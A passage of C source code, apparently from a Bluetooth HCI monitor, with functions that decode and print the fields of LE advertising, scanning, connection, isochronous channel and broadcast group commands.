str = "ADV_NONCONN_IND";
break;
case 0x12:
str = "ADV_SCAN_IND";
break;
case 0x13:
str = "ADV_IND";
break;
case 0x15:
str = "ADV_DIRECT_IND (low duty cycle)";
break;
case 0x1d:
str = "ADV_DIRECT_IND (high duty cycle)";
break;
default:
str = "Reserved";
break;
}
return str;
}
static void print_ext_adv_properties(uint16_t flags)
{
uint16_t mask = flags;
const char *property;
int i;
print_field("Properties: 0x%4.4x", flags);
for (i = 0; ext_adv_properties_table[i].str; i++) {
if (flags & (1 << ext_adv_properties_table[i].bit)) {
property = ext_adv_properties_table[i].str;
if (ext_adv_properties_table[i].bit == 4) {
print_field(" %s: %s", property,
get_adv_pdu_desc(flags));
} else {
print_field(" %s", property);
}
mask &= ~(1 << ext_adv_properties_table[i].bit);
}
}
if (mask)
print_text(COLOR_UNKNOWN_ADV_FLAG,
" Unknown advertising properties (0x%4.4x)",
mask);
}
static void print_ext_slot_625(const char *label, const uint8_t value[3])
{
uint32_t value_cpu = value[0];
value_cpu |= value[1] << 8;
value_cpu |= value[2] << 16;
print_field("%s: %.3f msec (0x%4.4x)", label,
value_cpu * 0.625, value_cpu);
}
static void le_set_ext_adv_params_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_ext_adv_params *cmd = data;
const char *str;
print_field("Handle: 0x%2.2x", cmd->handle);
print_ext_adv_properties(le16_to_cpu(cmd->evt_properties));
print_ext_slot_625("Min advertising interval", cmd->min_interval);
print_ext_slot_625("Max advertising interval", cmd->max_interval);
print_adv_channel_map("Channel map", cmd->channel_map);
print_own_addr_type(cmd->own_addr_type);
print_peer_addr_type("Peer address type", cmd->peer_addr_type);
print_addr("Peer address", cmd->peer_addr, cmd->peer_addr_type);
print_adv_filter_policy("Filter policy", cmd->filter_policy);
if (cmd->tx_power == 0x7f)
print_field("TX power: Host has no preference (0x7f)");
else
print_power_level(cmd->tx_power, NULL);
switch (cmd->primary_phy) {
case 0x01:
str = "LE 1M";
break;
case 0x03:
str = "LE Coded";
break;
default:
str = "Reserved";
break;
}
print_field("Primary PHY: %s (0x%2.2x)", str, cmd->primary_phy);
print_field("Secondary max skip: 0x%2.2x", cmd->secondary_max_skip);
print_le_phy("Secondary PHY", cmd->secondary_phy);
print_field("SID: 0x%2.2x", cmd->sid);
print_enable("Scan request notifications", cmd->notif_enable);
}
static void le_set_ext_adv_params_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_set_ext_adv_params *rsp = data;
print_status(rsp->status);
print_power_level(rsp->tx_power, "selected");
}
static void le_set_ext_adv_data_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_ext_adv_data *cmd = data;
const char *str;
print_field("Handle: 0x%2.2x", cmd->handle);
switch (cmd->operation) {
case 0x00:
str = "Immediate fragment";
break;
case 0x01:
str = "First fragment";
break;
case 0x02:
str = "Last fragment";
break;
case 0x03:
str = "Complete extended advertising data";
break;
case 0x04:
str = "Unchanged data";
break;
default:
str = "Reserved";
break;
}
print_field("Operation: %s (0x%2.2x)", str, cmd->operation);
switch (cmd->fragment_preference) {
case 0x00:
str = "Fragment all";
break;
case 0x01:
str = "Minimize fragmentation";
break;
default:
str = "Reserved";
break;
}
print_field("Fragment preference: %s (0x%2.2x)", str,
cmd->fragment_preference);
print_field("Data length: 0x%2.2x", cmd->data_len);
packet_print_ad(cmd->data, size - sizeof(*cmd));
}
static void le_set_ext_scan_rsp_data_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_ext_scan_rsp_data *cmd = data;
const char *str;
print_field("Handle: 0x%2.2x", cmd->handle);
switch (cmd->operation) {
case 0x00:
str = "Immediate fragment";
break;
case 0x01:
str = "First fragment";
break;
case 0x02:
str = "Last fragment";
break;
case 0x03:
str = "Complete scan response data";
break;
case 0x04:
str = "Unchanged data";
break;
default:
str = "Reserved";
break;
}
print_field("Operation: %s (0x%2.2x)", str, cmd->operation);
switch (cmd->fragment_preference) {
case 0x00:
str = "Fragment all";
break;
case 0x01:
str = "Minimize fragmentation";
break;
default:
str = "Reserved";
break;
}
print_field("Fragment preference: %s (0x%2.2x)", str,
cmd->fragment_preference);
print_field("Data length: 0x%2.2x", cmd->data_len);
packet_print_ad(cmd->data, size - sizeof(*cmd));
}
static void le_set_ext_adv_enable_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_ext_adv_enable *cmd = data;
const struct bt_hci_cmd_ext_adv_set *adv_set;
int i;
print_enable("Extended advertising", cmd->enable);
if (cmd->num_of_sets == 0)
print_field("Number of sets: Disable all sets (0x%2.2x)",
cmd->num_of_sets);
else if (cmd->num_of_sets > 0x3f)
print_field("Number of sets: Reserved (0x%2.2x)",
cmd->num_of_sets);
else
print_field("Number of sets: %u (0x%2.2x)", cmd->num_of_sets,
cmd->num_of_sets);
for (i = 0; i < cmd->num_of_sets; ++i) {
adv_set = data + 2 + i * sizeof(struct bt_hci_cmd_ext_adv_set);
print_field("Entry %d", i);
print_field(" Handle: 0x%2.2x", adv_set->handle);
print_field(" Duration: %d ms (0x%2.2x)",
adv_set->duration * 10, adv_set->duration);
print_field(" Max ext adv events: %d", adv_set->max_events);
}
}
static void le_read_max_adv_data_len_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_max_adv_data_len *rsp = data;
print_status(rsp->status);
print_field("Max length: %d", rsp->max_len);
}
static void le_read_num_supported_adv_sets_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_num_supported_adv_sets *rsp = data;
print_status(rsp->status);
print_field("Num supported adv sets: %d", rsp->num_of_sets);
}
static void le_remove_adv_set_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_remove_adv_set *cmd = data;
print_handle(cmd->handle);
}
static const struct bitfield_data periodic_adv_properties_table[] = {
{ 6, "Include TxPower" },
{ }
};
static void print_periodic_adv_properties(uint16_t flags)
{
uint16_t mask;
print_field("Properties: 0x%4.4x", flags);
mask = print_bitfield(2, flags, periodic_adv_properties_table);
if (mask)
print_text(COLOR_UNKNOWN_ADV_FLAG,
" Unknown advertising properties (0x%4.4x)",
mask);
}
static void le_set_periodic_adv_params_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_periodic_adv_params *cmd = data;
print_handle(cmd->handle);
print_slot_125("Min interval", cmd->min_interval);
print_slot_125("Max interval", cmd->max_interval);
print_periodic_adv_properties(cmd->properties);
}
static void le_set_periodic_adv_data_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_periodic_adv_data *cmd = data;
const char *str;
print_handle(cmd->handle);
switch (cmd->operation) {
case 0x00:
str = "Immediate fragment";
break;
case 0x01:
str = "First fragment";
break;
case 0x02:
str = "Last fragment";
break;
case 0x03:
str = "Complete ext advertising data";
break;
default:
str = "Reserved";
break;
}
print_field("Operation: %s (0x%2.2x)", str, cmd->operation);
print_field("Data length: 0x%2.2x", cmd->data_len);
print_eir(cmd->data, cmd->data_len, true);
}
static void le_set_periodic_adv_enable_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_periodic_adv_enable *cmd = data;
print_enable("Periodic advertising", cmd->enable);
print_handle(cmd->handle);
}
static const struct bitfield_data ext_scan_phys_table[] = {
{ 0, "LE 1M" },
{ 2, "LE Coded" },
{ }
};
static void print_ext_scan_phys(const void *data, uint8_t flags)
{
const struct bt_hci_le_scan_phy *scan_phy;
uint8_t mask = flags;
int bits_set = 0;
int i;
print_field("PHYs: 0x%2.2x", flags);
for (i = 0; ext_scan_phys_table[i].str; i++) {
if (flags & (1 << ext_scan_phys_table[i].bit)) {
scan_phy = data + bits_set * sizeof(*scan_phy);
mask &= ~(1 << ext_scan_phys_table[i].bit);
print_field("Entry %d: %s", bits_set,
ext_scan_phys_table[i].str);
print_scan_type(" Type", scan_phy->type);
print_slot_625(" Interval", scan_phy->interval);
print_slot_625(" Window", scan_phy->window);
++bits_set;
}
}
if (mask)
print_text(COLOR_UNKNOWN_ADV_FLAG, " Unknown scanning PHYs"
" (0x%2.2x)", mask);
}
static void le_set_ext_scan_params_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_ext_scan_params *cmd = data;
print_own_addr_type(cmd->own_addr_type);
print_scan_filter_policy(cmd->filter_policy);
print_ext_scan_phys(cmd->data, cmd->num_phys);
}
static void le_set_ext_scan_enable_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_ext_scan_enable *cmd = data;
print_enable("Extended scan", cmd->enable);
print_enable("Filter duplicates", cmd->filter_dup);
print_field("Duration: %d msec (0x%4.4x)",
le16_to_cpu(cmd->duration) * 10,
le16_to_cpu(cmd->duration));
print_field("Period: %.2f sec (0x%4.4x)",
le16_to_cpu(cmd->period) * 1.28,
le16_to_cpu(cmd->period));
}
static const struct bitfield_data ext_conn_phys_table[] = {
{ 0, "LE 1M" },
{ 1, "LE 2M" },
{ 2, "LE Coded" },
{ }
};
static void print_ext_conn_phys(const void *data, uint8_t flags)
{
const struct bt_hci_le_ext_create_conn *entry;
uint8_t mask = flags;
int bits_set = 0;
int i;
print_field("Initiating PHYs: 0x%2.2x", flags);
for (i = 0; ext_conn_phys_table[i].str; i++) {
if (flags & (1 << ext_conn_phys_table[i].bit)) {
entry = data + bits_set * sizeof(*entry);
mask &= ~(1 << ext_conn_phys_table[i].bit);
print_field("Entry %d: %s", bits_set,
ext_conn_phys_table[i].str);
print_slot_625(" Scan interval", entry->scan_interval);
print_slot_625(" Scan window", entry->scan_window);
print_slot_125(" Min connection interval",
entry->min_interval);
print_slot_125(" Max connection interval",
entry->max_interval);
print_conn_latency(" Connection latency",
entry->latency);
print_field(" Supervision timeout: %d msec (0x%4.4x)",
le16_to_cpu(entry->supv_timeout) * 10,
le16_to_cpu(entry->supv_timeout));
print_slot_625(" Min connection length",
entry->min_length);
print_slot_625(" Max connection length",
entry->max_length);
++bits_set;
}
}
if (mask)
print_text(COLOR_UNKNOWN_ADV_FLAG, " Unknown scanning PHYs"
" (0x%2.2x)", mask);
}
static void le_ext_create_conn_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_ext_create_conn *cmd = data;
const char *str;
switch (cmd->filter_policy) {
case 0x00:
str = "White list is not used";
break;
case 0x01:
str = "White list is used";
break;
default:
str = "Reserved";
break;
}
print_field("Filter policy: %s (0x%2.2x)", str, cmd->filter_policy);
print_own_addr_type(cmd->own_addr_type);
print_peer_addr_type("Peer address type", cmd->peer_addr_type);
print_addr("Peer address", cmd->peer_addr, cmd->peer_addr_type);
print_ext_conn_phys(cmd->data, cmd->phys);
}
static const struct bitfield_data create_sync_cte_type[] = {
{ 0, "Do not sync to packets with AoA CTE" },
{ 1, "Do not sync to packets with AoD CTE 1us" },
{ 2, "Do not sync to packets with AoD CTE 2us" },
{ 3, "Do not sync to packets with type 3 AoD" },
{ 4, "Do not sync to packets without CTE" },
{ },
};
static const struct bitfield_data create_sync_options[] = {
{ 0, "Use Periodic Advertiser List" },
{ 1, "Reporting initially disabled" },
{ },
};
static const struct bitfield_data create_sync_options_alt[] = {
{ 0, "Use advertising SID, Advertiser Address Type and address"},
{ 1, "Reporting initially enabled" },
{ },
};
static void print_create_sync_cte_type(uint8_t flags)
{
uint8_t mask = flags;
print_field("Sync CTE type: 0x%4.4x", flags);
mask = print_bitfield(2, flags, create_sync_cte_type);
if (mask) {
print_text(COLOR_UNKNOWN_ADV_FLAG,
"Unknown sync CTE type properties (0x%4.4x)",
mask);
}
}
static void print_create_sync_options(uint8_t flags)
{
uint8_t mask = flags;
int i;
print_field("Options: 0x%4.4x", flags);
for (i = 0; create_sync_options[i].str; i++) {
if (flags & (1 << create_sync_options[i].bit)) {
print_field("%s", create_sync_options[i].str);
mask &= ~(1 << create_sync_options[i].bit);
} else {
print_field("%s", create_sync_options_alt[i].str);
mask &= ~(1 << create_sync_options_alt[i].bit);
}
}
if (mask) {
print_text(COLOR_UNKNOWN_ADV_FLAG,
" Unknown options (0x%4.4x)", mask);
}
}
static void le_periodic_adv_create_sync_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_periodic_adv_create_sync *cmd = data;
print_create_sync_options(cmd->options);
print_field("SID: 0x%2.2x", cmd->sid);
print_addr_type("Adv address type", cmd->addr_type);
print_addr("Adv address", cmd->addr, cmd->addr_type);
print_field("Skip: 0x%4.4x", cmd->skip);
print_field("Sync timeout: %d msec (0x%4.4x)",
le16_to_cpu(cmd->sync_timeout) * 10,
le16_to_cpu(cmd->sync_timeout));
print_create_sync_cte_type(cmd->sync_cte_type);
}
static void le_periodic_adv_term_sync_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_periodic_adv_term_sync *cmd = data;
print_field("Sync handle: 0x%4.4x", cmd->sync_handle);
}
static void le_add_dev_periodic_adv_list_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_add_dev_periodic_adv_list *cmd = data;
print_addr_type("Adv address type", cmd->addr_type);
print_addr("Adv address", cmd->addr, cmd->addr_type);
print_field("SID: 0x%2.2x", cmd->sid);
}
static void le_remove_dev_periodic_adv_list_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_remove_dev_periodic_adv_list *cmd = data;
print_addr_type("Adv address type", cmd->addr_type);
print_addr("Adv address", cmd->addr, cmd->addr_type);
print_field("SID: 0x%2.2x", cmd->sid);
}
static void le_read_periodic_adv_list_size_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_dev_periodic_adv_list_size *rsp = data;
print_status(rsp->status);
print_field("List size: 0x%2.2x", rsp->list_size);
}
static void le_read_tx_power_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_tx_power *rsp = data;
print_status(rsp->status);
print_field("Min Tx power: %d dBm", rsp->min_tx_power);
print_field("Max Tx power: %d dBm", rsp->max_tx_power);
}
static void le_read_rf_path_comp_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_rf_path_comp *rsp = data;
print_status(rsp->status);
print_field("RF Tx Path Compensation Value: 0x%4.4x",
rsp->rf_tx_path_comp);
print_field("RF Rx Path Compensation Value: 0x%4.4x",
rsp->rf_rx_path_comp);
}
static void le_write_rf_path_comp_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_write_rf_path_comp *cmd = data;
print_field("RF Tx Path Compensation Value: 0x%4.4x",
cmd->rf_tx_path_comp);
print_field("RF Rx Path Compensation Value: 0x%4.4x",
cmd->rf_rx_path_comp);
}
static void le_set_priv_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_priv_mode *cmd = data;
const char *str;
print_addr_type("Peer Identity address type", cmd->peer_id_addr_type);
print_addr("Peer Identity address", cmd->peer_id_addr,
cmd->peer_id_addr_type);
switch (cmd->priv_mode) {
case 0x00:
str = "Use Network Privacy";
break;
case 0x01:
str = "Use Device Privacy";
break;
default:
str = "Reserved";
break;
}
print_field("Privacy Mode: %s (0x%2.2x)", str, cmd->priv_mode);
}
static void le_receiver_test_cmd_v3(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_receiver_test_v3 *cmd = data;
uint8_t i;
print_field("RX Channel: %u MHz (0x%2.2x)", cmd->rx_chan * 2 + 2402,
cmd->rx_chan);
switch (cmd->phy) {
case 0x01:
print_field("PHY: LE 1M (0x%2.2x)", cmd->phy);
break;
case 0x02:
print_field("PHY: LE 2M (0x%2.2x)", cmd->phy);
break;
case 0x03:
print_field("PHY: LE Coded (0x%2.2x)", cmd->phy);
break;
}
print_field("Modulation Index: %s (0x%2.2x)",
cmd->mod_index ? "stable" : "standard", cmd->mod_index);
print_field("Expected CTE Length: %u us (0x%2.2x)", cmd->cte_len * 8,
cmd->cte_len);
print_field("Expected CTE Type: %u us slots (0x%2.2x)", cmd->cte_type,
cmd->cte_type);
print_field("Slot Duration: %u us (0x%2.2x)", cmd->duration,
cmd->duration);
print_field("Number of Antenna IDs: %u", cmd->num_antenna_id);
if (size < sizeof(*cmd) + cmd->num_antenna_id)
return;
for (i = 0; i < cmd->num_antenna_id; i++)
print_field(" Antenna ID: %u", cmd->antenna_ids[i]);
}
static const char *parse_tx_test_payload(uint8_t payload)
{
switch (payload) {
case 0x00:
return "PRBS9 sequence 11111111100000111101...";
case 0x01:
return "Repeated 11110000";
case 0x02:
return "Repeated 10101010";
case 0x03:
return "PRBS15";
case 0x04:
return "Repeated 11111111";
case 0x05:
return "Repeated 00000000";
case 0x06:
return "Repeated 00001111";
case 0x07:
return "Repeated 01010101";
default:
return "Reserved";
}
}
static void le_tx_test_cmd_v3(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_tx_test_v3 *cmd = data;
uint8_t i;
print_field("TX Channel: %u MHz (0x%2.2x)", cmd->chan * 2 + 2402,
cmd->chan);
print_field("Length of Test Data: %u", cmd->data_len);
print_field("Packet Payload: %s (0x%2.2x)",
parse_tx_test_payload(cmd->payload), cmd->payload);
switch (cmd->phy) {
case 0x01:
print_field("PHY: LE 1M (0x%2.2x)", cmd->phy);
break;
case 0x02:
print_field("PHY: LE 2M (0x%2.2x)", cmd->phy);
break;
case 0x03:
print_field("PHY: LE Coded with S=8 (0x%2.2x)", cmd->phy);
break;
case 0x04:
print_field("PHY: LE Coded with S=2 (0x%2.2x)", cmd->phy);
break;
}
print_field("Expected CTE Length: %u us (0x%2.2x)", cmd->cte_len * 8,
cmd->cte_len);
print_field("Expected CTE Type: %u us slots (0x%2.2x)", cmd->cte_type,
cmd->cte_type);
print_field("Slot Duration: %u us (0x%2.2x)", cmd->duration,
cmd->duration);
print_field("Number of Antenna IDs: %u", cmd->num_antenna_id);
if (size < sizeof(*cmd) + cmd->num_antenna_id)
return;
for (i = 0; i < cmd->num_antenna_id; i++)
print_field(" Antenna ID: %u", cmd->antenna_ids[i]);
}
static void le_periodic_adv_rec_enable(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_periodic_adv_enable *cmd = data;
print_field("Sync handle: %d", cmd->handle);
print_enable("Reporting", cmd->enable);
}
static void le_periodic_adv_sync_trans(const void *data, uint8_t size)
{
const struct bt_hci_cmd_periodic_sync_trans *cmd = data;
print_field("Connection handle: %d", cmd->handle);
print_field("Service data: 0x%4.4x", cmd->service_data);
print_field("Sync handle: %d", cmd->sync_handle);
}
static void le_periodic_adv_set_info_trans(const void *data, uint8_t size)
{
const struct bt_hci_cmd_periodic_adv_set_info_trans *cmd = data;
print_field("Connection handle: %d", cmd->handle);
print_field("Service data: 0x%4.4x", cmd->service_data);
print_field("Advertising handle: %d", cmd->adv_handle);
}
static void print_sync_mode(uint8_t mode)
{
const char *str;
switch (mode) {
case 0x00:
str = "Disabled";
break;
case 0x01:
str = "Enabled with report events disabled";
break;
case 0x02:
str = "Enabled with report events enabled";
break;
default:
str = "RFU";
break;
}
print_field("Mode: %s (0x%2.2x)", str, mode);
}
static void le_periodic_adv_sync_trans_params(const void *data, uint8_t size)
{
const struct bt_hci_cmd_periodic_adv_sync_trans_params *cmd = data;
print_field("Connection handle: %d", cmd->handle);
print_sync_mode(cmd->mode);
print_field("Skip: 0x%2.2x", cmd->skip);
print_field("Sync timeout: %d msec (0x%4.4x)",
le16_to_cpu(cmd->sync_timeout) * 10,
le16_to_cpu(cmd->sync_timeout));
print_create_sync_cte_type(cmd->cte_type);
}
static void le_set_default_periodic_adv_sync_trans_params(const void *data,
uint8_t size)
{
const struct bt_hci_cmd_default_periodic_adv_sync_trans_params *cmd = data;
print_sync_mode(cmd->mode);
print_field("Skip: 0x%2.2x", cmd->skip);
print_field("Sync timeout: %d msec (0x%4.4x)",
le16_to_cpu(cmd->sync_timeout) * 10,
le16_to_cpu(cmd->sync_timeout));
print_create_sync_cte_type(cmd->cte_type);
}
static void print_sca(uint8_t sca)
{
switch (sca) {
case 0x00:
print_field("SCA: 201 - 500 ppm (0x%2.2x)", sca);
return;
case 0x01:
print_field("SCA: 151 - 200 ppm (0x%2.2x)", sca);
return;
case 0x02:
print_field("SCA: 101 - 150 ppm (0x%2.2x)", sca);
return;
case 0x03:
print_field("SCA: 76 - 100 ppm (0x%2.2x)", sca);
return;
case 0x04:
print_field("SCA: 51 - 75 ppm (0x%2.2x)", sca);
return;
case 0x05:
print_field("SCA: 31 - 50 ppm (0x%2.2x)", sca);
return;
case 0x06:
print_field("SCA: 21 - 30 ppm (0x%2.2x)", sca);
return;
case 0x07:
print_field("SCA: 0 - 20 ppm (0x%2.2x)", sca);
return;
default:
print_field("SCA: Reserved (0x%2.2x)", sca);
}
}
static void print_packing(uint8_t value)
{
switch (value) {
case 0x00:
print_field("Packing: Sequential (0x%2.2x)", value);
return;
case 0x01:
print_field("Packing: Interleaved (0x%2.2x)", value);
return;
default:
print_field("Packing: Reserved (0x%2.2x)", value);
}
}
static void print_framing(uint8_t value)
{
switch (value) {
case 0x00:
print_field("Framing: Unframed (0x%2.2x)", value);
return;
case 0x01:
print_field("Framing: Framed (0x%2.2x)", value);
return;
default:
print_field("Packing: Reserved (0x%2.2x)", value);
}
}
static void le_read_buffer_size_v2_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_buffer_size_v2 *rsp = data;
print_status(rsp->status);
if (size == 1)
return;
print_field("ACL MTU: %d", le16_to_cpu(rsp->acl_mtu));
print_field("ACL max packet: %d", rsp->acl_max_pkt);
print_field("ISO MTU: %d", le16_to_cpu(rsp->iso_mtu));
print_field("ISO max packet: %d", rsp->iso_max_pkt);
}
static void le_read_iso_tx_sync_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_read_iso_tx_sync *cmd = data;
print_field("Handle: %d", le16_to_cpu(cmd->handle));
}
static void le_read_iso_tx_sync_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_iso_tx_sync *rsp = data;
uint32_t offset = 0;
print_status(rsp->status);
if (size == 1)
return;
print_field("Handle: %d", le16_to_cpu(rsp->handle));
print_field("Sequence Number: %d", le16_to_cpu(rsp->seq));
print_field("Timestamp: %d", le32_to_cpu(rsp->timestamp));
memcpy(&offset, rsp->offset, sizeof(rsp->offset));
print_field("Offset: %d", le32_to_cpu(offset));
}
static void print_cis_params(const void *data, int i)
{
const struct bt_hci_cis_params *cis = data;
print_field("CIS ID: 0x%2.2x", cis->cis_id);
print_field("Master to Slave Maximum SDU Size: %u",
le16_to_cpu(cis->m_sdu));
print_field("Slave to Master Maximum SDU Size: %u",
le16_to_cpu(cis->s_sdu));
print_le_phy("Master to Slave PHY", cis->m_phy);
print_le_phy("Slave to Master PHY", cis->s_phy);
print_field("Master to Slave Retransmission attempts: 0x%2.2x",
cis->m_rtn);
print_field("Slave to Master Retransmission attempts: 0x%2.2x",
cis->s_rtn);
}
static void le_set_cig_params_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_cig_params *cmd = data;
print_field("CIG ID: 0x%2.2x", cmd->cig_id);
print_usec_interval("Master to Slave SDU Interval", cmd->m_interval);
print_usec_interval("Slave to Master SDU Interval", cmd->s_interval);
print_sca(cmd->sca);
print_packing(cmd->packing);
print_framing(cmd->framing);
print_field("Master to Slave Maximum Latency: %d ms (0x%4.4x)",
le16_to_cpu(cmd->m_latency), le16_to_cpu(cmd->m_latency));
print_field("Slave to Master Maximum Latency: %d ms (0x%4.4x)",
le16_to_cpu(cmd->s_latency), le16_to_cpu(cmd->s_latency));
print_field("Number of CIS: %u", cmd->num_cis);
size -= sizeof(*cmd);
print_list(cmd->cis, size, cmd->num_cis, sizeof(*cmd->cis),
print_cis_params);
}
static void print_cis_params_test(const void *data, int i)
{
const struct bt_hci_cis_params_test *cis = data;
print_field("CIS ID: 0x%2.2x", cis->cis_id);
print_field("NSE: 0x%2.2x", cis->nse);
print_field("Master to Slave Maximum SDU: 0x%4.4x", cis->m_sdu);
print_field("Slave to Master Maximum SDU: 0x%4.4x",
le16_to_cpu(cis->s_sdu));
print_field("Master to Slave Maximum PDU: 0x%2.2x",
le16_to_cpu(cis->m_pdu));
print_field("Slave to Master Maximum PDU: 0x%2.2x", cis->s_pdu);
print_le_phy("Master to Slave PHY", cis->m_phy);
print_le_phy("Slave to Master PHY", cis->s_phy);
print_field("Master to Slave Burst Number: 0x%2.2x", cis->m_bn);
print_field("Slave to Master Burst Number: 0x%2.2x", cis->s_bn);
}
static void le_set_cig_params_test_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_cig_params_test *cmd = data;
print_field("CIG ID: 0x%2.2x", cmd->cig_id);
print_usec_interval("Master to Slave SDU Interval", cmd->m_interval);
print_usec_interval("Master to Slave SDU Interval", cmd->s_interval);
print_field("Master to Slave Flush Timeout: 0x%2.2x", cmd->m_ft);
print_field("Slave to Master Flush Timeout: 0x%2.2x", cmd->s_ft);
print_field("ISO Interval: %.2f ms (0x%4.4x)",
le16_to_cpu(cmd->iso_interval) * 1.25,
le16_to_cpu(cmd->iso_interval));
print_sca(cmd->sca);
print_packing(cmd->packing);
print_framing(cmd->framing);
print_field("Number of CIS: %u", cmd->num_cis);
size -= sizeof(*cmd);
print_list(cmd->cis, size, cmd->num_cis, sizeof(*cmd->cis),
print_cis_params_test);
}
static void print_cig_handle(const void *data, int i)
{
const uint16_t *handle = data;
print_field("Connection Handle: %d", le16_to_cpu(*handle));
}
static void le_set_cig_params_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_set_cig_params *rsp = data;
print_status(rsp->status);
if (size == 1)
return;
print_field("CIG ID: 0x%2.2x", rsp->cig_id);
print_field("Number of Handles: %u", rsp->num_handles);
size -= sizeof(*rsp);
print_list(rsp->handle, size, rsp->num_handles, sizeof(*rsp->handle),
print_cig_handle);
}
static void print_cis(const void *data, int i)
{
const struct bt_hci_cis *cis = data;
print_field("CIS Handle: %d", cis->cis_handle);
print_field("ACL Handle: %d", cis->acl_handle);
}
static void le_create_cis_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_create_cis *cmd = data;
print_field("Number of CIS: %u", cmd->num_cis);
size -= sizeof(*cmd);
print_list(cmd->cis, size, cmd->num_cis, sizeof(*cmd->cis), print_cis);
}
static void le_remove_cig_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_remove_cig *cmd = data;
print_field("CIG ID: 0x%02x", cmd->cig_id);
}
static void le_remove_cig_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_remove_cig *rsp = data;
print_status(rsp->status);
if (size == 1)
return;
print_field("CIG ID: 0x%2.2x", rsp->cig_id);
}
static void le_accept_cis_req_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_accept_cis *cmd = data;
print_field("CIS Handle: %d", le16_to_cpu(cmd->handle));
}
static void le_reject_cis_req_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_reject_cis *cmd = data;
print_field("CIS Handle: %d", le16_to_cpu(cmd->handle));
print_reason(cmd->reason);
}
static void print_bis(const void *data, int i)
{
const struct bt_hci_bis *bis = data;
print_usec_interval("SDU Interval", bis->sdu_interval);
print_field("Maximum SDU size: %u", le16_to_cpu(bis->sdu));
print_field("Maximum Latency: %u ms (0x%4.4x)",
le16_to_cpu(bis->latency), le16_to_cpu(bis->latency));
print_field("RTN: 0x%2.2x", bis->rtn);
print_le_phy("PHY", bis->phy);
print_packing(bis->packing);
print_framing(bis->framing);
print_field("Encryption: 0x%2.2x", bis->encryption);
print_hex_field("Broadcast Code", bis->bcode, 16);
}
static void le_create_big_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_create_big *cmd = data;
print_field("Handle: 0x%2.2x", cmd->handle);
print_field("Advertising Handle: 0x%2.2x", cmd->adv_handle);
print_field("Number of BIS: %u", cmd->num_bis);
size -= sizeof(*cmd);
print_list(cmd->bis, size, cmd->num_bis, sizeof(*cmd->bis), print_bis);
}
static void print_bis_test(const void *data, int i)
{
const struct bt_hci_bis_test *bis = data;
print_usec_interval("SDU Interval", bis->sdu_interval);
print_field("ISO Interval: %.2f ms (0x%4.4x)",
le16_to_cpu(bis->iso_interval) * 1.25,
le16_to_cpu(bis->iso_interval));
print_field("Number of Subevents: %u", bis->nse);
print_field("Maximum SDU: %u", bis->sdu);
print_field("Maximum PDU: %u", bis->pdu);
print_packing(bis->packing);
print_framing(bis->framing);
print_le_phy("PHY", bis->phy);
print_field("Burst Number: %u", bis->bn);
print_field("Immediate Repetition Count: %u", bis->irc);
print_field("Pre Transmission Offset: 0x%2.2x", bis->pto);
print_field("Encryption: 0x%2.2x", bis->encryption);
print_hex_field("Broadcast Code", bis->bcode, 16);
}
static void le_create_big_cmd_test_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_create_big_test *cmd = data;
print_field("BIG ID: 0x%2.2x", cmd->big_id);
print_field("Advertising Handle: 0x%2.2x", cmd->adv_handle);
print_field("Number of BIS: %u", cmd->num_bis);
size -= sizeof(*cmd);
print_list(cmd->bis, size, cmd->num_bis, sizeof(*cmd->bis),
print_bis_test);
}
static void le_terminate_big_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_term_big *cmd = data;
print_field("BIG Handle: 0x%2.2x", cmd->handle);
print_reason(cmd->reason);
}
static void print_bis_sync(const void *data, int i)
{
const uint8_t *bis_id = data;
print_field("BIS ID: 0x%2.2x", *bis_id);
}
static void le_big_create_sync_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_big_create_sync *cmd = data;
print_field("BIG Handle: 0x%2.2x", cmd->handle);
print_field("BIG Sync Handle: 0x%4.4x", le16_to_cpu(cmd->sync_handle));
print_field("Encryption: %s (0x%2.2x)",
cmd->encryption ? "Unencrypted" : "Encrypted",
cmd->encryption);
print_hex_field("Broadcast Code", cmd->bcode, 16);
print_field("Maximum Number Subevents: 0x%2.2x", cmd->mse);
